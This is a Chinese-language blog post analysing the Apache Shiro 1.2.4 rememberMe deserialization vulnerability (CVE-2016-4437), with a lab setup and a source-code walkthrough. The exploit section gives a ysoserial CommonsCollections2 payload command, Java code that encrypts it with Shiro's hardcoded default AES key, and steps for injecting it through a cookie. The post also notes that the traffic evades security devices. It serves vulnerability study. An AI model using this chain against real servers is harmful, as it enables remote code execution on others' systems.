17-java安全——shiro1.2.4反序列化分析(CVE-2016-4437)

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漏洞原理

在shiro1.2.4版本中,用户认证信息rememberMe通常会进行Base64编码和AES加密存储在cookie中,当shiro安全框架对用户身份进行认证时,会对rememberMe的内容进行Base64解码和AES解密,然后反序列化还原成java对象,由于rememberMe可控,攻击者则可以利用rememberMe来构造恶意数据,产生反序列化漏洞。

漏洞环境

shiro1.2.4

jdk7u80

漏洞复现

在github下载shiro1.2.4版本,下载链接: https://github.com/apache/shiro/releases/tag/shiro-root-1.2.4

下载shiro-root-1.2.4之后解压,在shiro-shiro-root-1.2.4\\samples\\目录以Project方式打开web作为一个项目

然后再pom文件中引入以下依赖,直接复制替换即可

<?xml version="1.0" encoding="UTF-8"?>
<!--
  ~ Licensed to the Apache Software Foundation (ASF) under one
  ~ or more contributor license agreements.  See the NOTICE file
  ~ distributed with this work for additional information
  ~ regarding copyright ownership.  The ASF licenses this file
  ~ to you under the Apache License, Version 2.0 (the
  ~ "License"); you may not use this file except in compliance
  ~ with the License.  You may obtain a copy of the License at
  ~
  ~     http://www.apache.org/licenses/LICENSE-2.0
  ~
  ~ Unless required by applicable law or agreed to in writing,
  ~ software distributed under the License is distributed on an
  ~ "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
  ~ KIND, either express or implied.  See the License for the
  ~ specific language governing permissions and limitations
  ~ under the License.
  -->
<!--suppress osmorcNonOsgiMavenDependency -->
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">

    <parent>
        <groupId>org.apache.shiro.samples</groupId>
        <artifactId>shiro-samples</artifactId>
        <version>1.2.4</version>
        <relativePath>../pom.xml</relativePath>
    </parent>

    <modelVersion>4.0.0</modelVersion>
    <artifactId>samples-web</artifactId>
    <name>Apache Shiro :: Samples :: Web</name>
    <packaging>war</packaging>

    <build>
        <plugins>
            <plugin>
                <groupId>org.apache.maven.plugins</groupId>
                <artifactId>maven-toolchains-plugin</artifactId>
                <version>1.1</version>
                <executions>
                    <execution>
                        <goals>
                            <goal>toolchain</goal>
                        </goals>
                    </execution>
                </executions>
                <configuration>
                    <toolchains>
                        <jdk>
                            <version>1.7</version>
                            <vendor>sun</vendor>
                        </jdk>
                    </toolchains>
                </configuration>
            </plugin>
            <plugin>
                <artifactId>maven-surefire-plugin</artifactId>
                <configuration>
                    <forkMode>never</forkMode>
                </configuration>
            </plugin>
            <plugin>
                <groupId>org.mortbay.jetty</groupId>
                <artifactId>maven-jetty-plugin</artifactId>
                <version>${jetty.version}</version>
                <configuration>
                    <contextPath>/</contextPath>
                    <connectors>
                        <connector implementation="org.mortbay.jetty.nio.SelectChannelConnector">
                            <port>9080</port>
                            <maxIdleTime>60000</maxIdleTime>
                        </connector>
                    </connectors>
                    <requestLog implementation="org.mortbay.jetty.NCSARequestLog">
                        <filename>./target/yyyy_mm_dd.request.log</filename>
                        <retainDays>90</retainDays>
                        <append>true</append>
                        <extended>false</extended>
                        <logTimeZone>GMT</logTimeZone>
                    </requestLog>
                </configuration>
            </plugin>
        </plugins>
    </build>

    <dependencies>
        <dependency>
            <groupId>javax.servlet</groupId>
            <artifactId>servlet-api</artifactId>
            <scope>provided</scope>
        </dependency>
        <dependency>
            <groupId>org.slf4j</groupId>
            <artifactId>slf4j-log4j12</artifactId>
            <scope>runtime</scope>
        </dependency>
        <dependency>
            <groupId>log4j</groupId>
            <artifactId>log4j</artifactId>
            <scope>runtime</scope>
        </dependency>
        <dependency>
            <groupId>net.sourceforge.htmlunit</groupId>
            <artifactId>htmlunit</artifactId>
            <version>2.6</version>
            <scope>test</scope>
        </dependency>
        <dependency>
            <groupId>org.apache.shiro</groupId>
            <artifactId>shiro-core</artifactId>
        </dependency>
        <dependency>
            <groupId>org.apache.shiro</groupId>
            <artifactId>shiro-web</artifactId>
        </dependency>
        <dependency>
            <groupId>org.mortbay.jetty</groupId>
            <artifactId>jetty</artifactId>
            <version>${jetty.version}</version>
            <scope>test</scope>
        </dependency>
        <dependency>
            <groupId>org.mortbay.jetty</groupId>
            <artifactId>jsp-2.1-jetty</artifactId>
            <version>${jetty.version}</version>
            <scope>test</scope>
        </dependency>
        <dependency>
            <groupId>org.slf4j</groupId>
            <artifactId>jcl-over-slf4j</artifactId>
            <scope>runtime</scope>
        </dependency>
        <dependency>
            <groupId>org.apache.commons</groupId>
            <artifactId>commons-collections4</artifactId>
            <version>4.0</version>
        </dependency>
        <dependency>
            <groupId>javax.servlet</groupId>
            <artifactId>jstl</artifactId>
            <version>1.2</version>
            <scope>runtime</scope>
        </dependency>
        <dependency>
            <groupId>taglibs</groupId>
            <artifactId>standard</artifactId>
            <version>1.1.2</version>
            <scope>runtime</scope>
        </dependency>
    </dependencies>

</project>

然后把shiro部署到tomcat当中,把jdk版本改为1.7u80

配置完后再启动tomcat,在浏览器地址栏访问http://localhost:8080/shiro,如果出现以下页面说明环境搭建完成。

漏洞利用探测,在login页面输入用户名和密码点击登录,开启burpsuite抓包,可以看到burpsuite的返回包会有一个Set-Cookie操作设置rememberMe=deleteMe,换句话说,如果返回页面会有一个Set-Cookie操作设置rememberMe的话,说明可能存在shiro反序列化漏洞。

通过ysoserial工具使用CC2利用链来生成poc

java -jar ysoserial-V20200316.2.jar CommonsCollections2 "calc" > poc.txt

然后将poc进行base64编码,AES加密

import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.codec.CodecSupport;
import org.apache.shiro.util.ByteSource;
import org.apache.shiro.codec.Base64;

import java.nio.file.Files;
import java.nio.file.Paths;

public class TestRemember {
    public static void main(String[] args) throws Exception {
        byte[] payloads = Files.readAllBytes(Paths.get("poc.txt"));

        AesCipherService aes = new AesCipherService();
        byte[] key = Base64.decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA=="));

        ByteSource ciphertext = aes.encrypt(payloads, key);
        System.out.println(ciphertext.toString());
    }
}

为了防止tomcat的端口和burpsuite监听的端口冲突,这里我将tomcat的端口改成了8081了,然后再重新启动tomcat服务器

访问http://192.168.0.35:8081/shiro/ 地址,开启burpsuite进行抓包在cookie字段中添加之前加密后的payload,然后放包,如果弹出计算器则说明漏洞利用成功。

漏洞复现的调用堆栈流程如下所示

漏洞分析

在进行漏洞分析之前,对于shiro用户认证流程不了解的同学可以先参考此篇文章:16-java安全——shiro1.2.4用户认证流程分析

现在我们来分析一下漏洞的利用流程,分析的入口是AbstractShiroFilter类的createSubject方法,这里解释一下为什么分析的入口是AbstractShiroFilter类的createSubject方法?

shiro框架有一个AbstractShiroFilter类(该类实现了Filter拦截器接口)会拦截web应用所有用户认证的http请求,而该类有一个doFilterInternal方法会处理这些http请求请求,并且doFilterInternal方法内部调用了createSubject方法创建一个Subject主体,并且把http请求的内容(例如cookie字段中的payload)封装到Subject主体中。

createSubject方法内部会通过WebSubject接口的buildWebSubject方法来构建一个web应用的Subject

protected WebSubject createSubject(ServletRequest request, ServletResponse response) {
        //构建一个基于web的Subject
        return new WebSubject.Builder(getSecurityManager(), request, response).buildWebSubject();
    }

为什么WebSubject接口能调用一个方法?实际上是调用了WebSubject接口的静态内部类Builder的buildWebSubject方法

        public WebSubject buildWebSubject() {
             //调用父类的buildWebSubject方法
            Subject subject = super.buildSubject();
            if (!(subject instanceof WebSubject)) {
                String msg = "Subject implementation returned from the SecurityManager was not a " +
                        WebSubject.class.getName() + " implementation.  Please ensure a Web-enabled SecurityManager " +
                        "has been configured and made available to this builder.";
                throw new IllegalStateException(msg);
            }
            return (WebSubject) subject;
        }

WebSubject接口继承了Subject接口,因此这里会调用Subject接口的buildSubject方法,Subject主体的创建会通过securityManager安全管理器来完成,因此在buildSubject方法中,securityManager安全管理器调用createSubject方法并传入了一个subjectContext参数,该参数内部封装了http请求中的内容(例如cookie字段中的payload)。

        public Subject buildSubject() {
            return this.securityManager.createSubject(this.subjectContext);
        }

DefaultSecurityManager安全管理器的createSubject方法内部会调用了一个resolvePrincipals方法解析SubjectContext的内容

    public Subject createSubject(SubjectContext subjectContext) {
		
		//省略部分代码......


        context = resolvePrincipals(context);

		//省略部分代码......
		
    }

resolvePrincipals方法内部会调用resolvePrincipals方法尝试解析SubjectContext中的Principal(身份信息),如果解析为空则会调用getRememberedIdentity方法继续从SubjectContext中获取http请求中cookie字段中rememberMe的内容。

    protected SubjectContext resolvePrincipals(SubjectContext context) {
		//解析SubjectContext的内容,通常返回null
        PrincipalCollection principals = context.resolvePrincipals();
		//判断Principal(身份信息)是否为空
        if (CollectionUtils.isEmpty(principals)) {
            log.trace("No identity (PrincipalCollection) found in the context.  Looking for a remembered identity.");
			//解析SubjectContext中的http数据
            principals = getRememberedIdentity(context);

            if (!CollectionUtils.isEmpty(principals)) {
                log.debug("Found remembered PrincipalCollection.  Adding to the context to be used " +
                        "for subject construction by the SubjectFactory.");

                context.setPrincipals(principals);

            } else {
                log.trace("No remembered identity found.  Returning original context.");
            }
        }

        return context;
    }

触发反序列化漏洞的关键就在于DefaultSecurityManager安全管理器的getRememberedIdentity方法,该方法时反序列化漏洞的起点

    protected PrincipalCollection getRememberedIdentity(SubjectContext subjectContext) {
		//获取CookieRememberMeManager管理器
        RememberMeManager rmm = getRememberMeManager();
        if (rmm != null) {
            try {
				//获取rememberMe
                return rmm.getRememberedPrincipals(subjectContext);
            } catch (Exception e) {
                if (log.isWarnEnabled()) {
                    String msg = "Delegate RememberMeManager instance of type [" + rmm.getClass().getName() +
                            "] threw an exception during getRememberedPrincipals().";
                    log.warn(msg, e);
                }
            }
        }
        return null;
    }

DefaultSecurityManager安全管理器首先获取了CookieRememberMeManager管理器,然后调用getRememberedPrincipals方法从subjectContext中封装的cookie字段中解析rememberMe的内容,但是CookieRememberMeManager管理器中并没有getRememberedPrincipals方法。

由于CookieRememberMeManager继承了AbstractRememberMeManager,因此会调用父类AbstractRememberMeManager的getRememberedPrincipals方法。

  public PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext) {
        PrincipalCollection principals = null;
        try {
			//获取rememberMe中的序列化字节流数据,进行base64解码
            byte[] bytes = getRememberedSerializedIdentity(subjectContext);
            //SHIRO-138 - only call convertBytesToPrincipals if bytes exist:
            //是否有数据
            if (bytes != null && bytes.length > 0) {
                 //AES解密
                principals = convertBytesToPrincipals(bytes, subjectContext);
            }
        } catch (RuntimeException re) {
            principals = onRememberedPrincipalFailure(re, subjectContext);
        }

        return principals;
    }

getRememberedSerializedIdentity方法返回的是一个byte类型的字节数组,该方法主要是从http请求中解析数据,然后进行base64解码

    protected byte[] getRememberedSerializedIdentity(SubjectContext subjectContext) {
		//校验,是否为http
        if (!WebUtils.isHttp(subjectContext)) {
            if (log.isDebugEnabled()) {
                String msg = "SubjectContext argument is not an HTTP-aware instance.  This is required to obtain a " +
                        "servlet request and response in order to retrieve the rememberMe cookie. Returning " +
                        "immediately and ignoring rememberMe operation.";
                log.debug(msg);
            }
            return null;
        }
		//如果是http,再强转回WebSubjectContext
        WebSubjectContext wsc = (WebSubjectContext) subjectContext;
        if (isIdentityRemoved(wsc)) {
            return null;
        }
		
        HttpServletRequest request = WebUtils.getHttpRequest(wsc);
        HttpServletResponse response = WebUtils.getHttpResponse(wsc);
		//从http请求中提取base64编码后的数据
        String base64 = getCookie().readValue(request, response);
        // Browsers do not always remove cookies immediately (SHIRO-183)
        // ignore cookies that are scheduled for removal
        if (Cookie.DELETED_COOKIE_VALUE.equals(base64)) return null;

        if (base64 != null) {
            base64 = ensurePadding(base64);
            if (log.isTraceEnabled()) {
                log.trace("Acquired Base64 encoded identity [" + base64 + "]");
            }
			//base64解码
            byte[] decoded = Base64.decode(base64);
            if (log.isTraceEnabled()) {
                log.trace("Base64 decoded byte array length: " + (decoded != null ? decoded.length : 0) + " bytes.");
            }
            //返回数据
            return decoded;
        } else {
            //no cookie set - new site visitor?
            return null;
        }
    }

getRememberedSerializedIdentity方法返回之后,会判断是否有数据,如果有数据则调用convertBytesToPrincipals方法解密,接着调用deserialize方法反序列化

    protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {
		//获取AES加密服务,不为null调用decrypt方法
        if (getCipherService() != null) {
            //解密
            bytes = decrypt(bytes);
        }
        //反序列化
        return deserialize(bytes);
    }

decrypt方法经过多层调用,最终会调用AbstractRememberMeManager类的decrypt方法进行AES解密

    protected byte[] decrypt(byte[] encrypted) {
        byte[] serialized = encrypted;
		//获取AES密码服务
        CipherService cipherService = getCipherService();
        if (cipherService != null) {
			//进行AES密码进行解密
            ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey());
            //得到序列化的字节数据
            serialized = byteSource.getBytes();
        }
        return serialized;
    }

decrypt方法内部会再次调用getCipherService方法获取AES加解密服务,然后调用getDecryptionCipherKey方法获取解密的秘钥解密后,返回serialized

调用DefaultSerializer类的deserialize方法对serialized中的序列化字节数据反序列化

    public T deserialize(byte[] serialized) throws SerializationException {
        if (serialized == null) {
            String msg = "argument cannot be null.";
            throw new IllegalArgumentException(msg);
        }
        ByteArrayInputStream bais = new ByteArrayInputStream(serialized);
        BufferedInputStream bis = new BufferedInputStream(bais);
        try {
            ObjectInputStream ois = new ClassResolvingObjectInputStream(bis);
            @SuppressWarnings({"unchecked"})
			//调用readObject方法反序列化
            T deserialized = (T) ois.readObject();
            ois.close();
            return deserialized;
        } catch (Exception e) {
            String msg = "Unable to deserialze argument byte array.";
            throw new SerializationException(msg, e);
        }
    }

deserialize方法内部对于serialized参数中解密后的内容没有任何过滤和校验操作,而是进行了一个简单的不为null的判断,然后直接调用了readObject方法进行反序列化,从而调用CC2利用链产生反序列化漏洞,实现RCE命令执行。

关于CC2利用链具体可以参考之前的文章:8-java安全——java反序列化CC2链分析

为什么在内网的场景下shiro发序列化漏洞很常见,其实主要的原因在于内网的安全的防御相对于外网较薄弱。

从wireshark抓到的流量来看,由于http请求中payload经过base64编码和AES加密后,导致漏洞在利用过程中没有明显的特征值,很容易骗过安全设备。

最后是分析过程中几点的疑惑

在分析过程中主要对两点比较疑惑:一个是AES解密的秘钥是从哪被设置的?另一个是DefaultSecurityManager安全管理器是从哪里获取的CookieRememberMeManager管理器。

先说getDecryptionCipherKey方法中返回的秘钥decryptionCipherKey是从哪里设置的。

既然decryptionCipherKey有getter方法,那么也有对应的setter方法,通过查看方法的调用关系,可以看到在setCipherKey方法中调用了setDecryptionCipherKey方法

    public void setCipherKey(byte[] cipherKey) {
        //Since this method should only be used in symmetric ciphers
        //(where the enc and dec keys are the same), set it on both:
        setEncryptionCipherKey(cipherKey);
        setDecryptionCipherKey(cipherKey);
    }

而setCipherKey方法是在AbstractRememberMeManager管理器实例化的时候被调用

   public AbstractRememberMeManager() {
        this.serializer = new DefaultSerializer<PrincipalCollection>();
        //创建AES密码服务并设置秘钥
        this.cipherService = new AesCipherService();
        setCipherKey(DEFAULT_CIPHER_KEY_BYTES);
    }

到这基本可以知道,由于CookieRememberMeManager类继承了AbstractRememberMeManager类,CookieRememberMeManager的构造器在初始化时会自动调用父类的构造设置AES解密的秘钥,可以确定DEFAULT_CIPHER_KEY_BYTES就是AES解密的秘钥。

然后就是关于CookieRememberMeManager管理器的问题。

在分析的过程中DefaultSecurityManager安全管理器并没有调用对应的set方法设置CookieRememberMeManager管理器,那么CookieRememberMeManager管理器是在哪里设置的?

我们来看一下shiro的安全管理器关系架构图

 以上这些主要的管理器分别为:

SessionsSecurityManager(会话安全管理器)

AuthorizingSecurityManager(授权安全管理器)

AuthenticatingSecurityManager(认证安全管理器)

RealmSecurityManager(领域安全管理器)

CachingSecurityManager(缓存安全管理器)

WebSecurityManager(web安全管理器)

CookieRememberMeManager(cookie RememberMe管理器)

从上可以知道,DefaultWebSecurityManager管理器继承了DefaultSecurityManager管理器,DefaultWebSecurityManager的构造进行了一些初始化工作将Subject主体封装成cookie,创建了一个CookieRememberMeManager管理器并调用了setRememberMeManager方法设置到RememberMe管理器中

    public DefaultWebSecurityManager() {
        super();
        ((DefaultSubjectDAO) this.subjectDAO).setSessionStorageEvaluator(new DefaultWebSessionStorageEvaluator());
        this.sessionMode = HTTP_SESSION_MODE;
        setSubjectFactory(new DefaultWebSubjectFactory());
		//设置到RememberMe管理器中
        setRememberMeManager(new CookieRememberMeManager());
        setSessionManager(new ServletContainerSessionManager());
    }

CookieRememberMeManager表示把Subject主体封装到cookie当中,设置了一个httponly字段和cookie有效期

    public CookieRememberMeManager() {
		//往cookie写入rememberMe
        Cookie cookie = new SimpleCookie(DEFAULT_REMEMBER_ME_COOKIE_NAME);
		//设置httponly后,cookie无法被浏览器的js读取,可以防止xss攻击
        cookie.setHttpOnly(true);
		//设置cookie有效期
        cookie.setMaxAge(Cookie.ONE_YEAR);
        this.cookie = cookie;
    }

DefaultWebSecurityManager安全管理器在shiro应用启动的时候就会被实例化,对应的DefaultSecurityManager管理器也会随之实例化。

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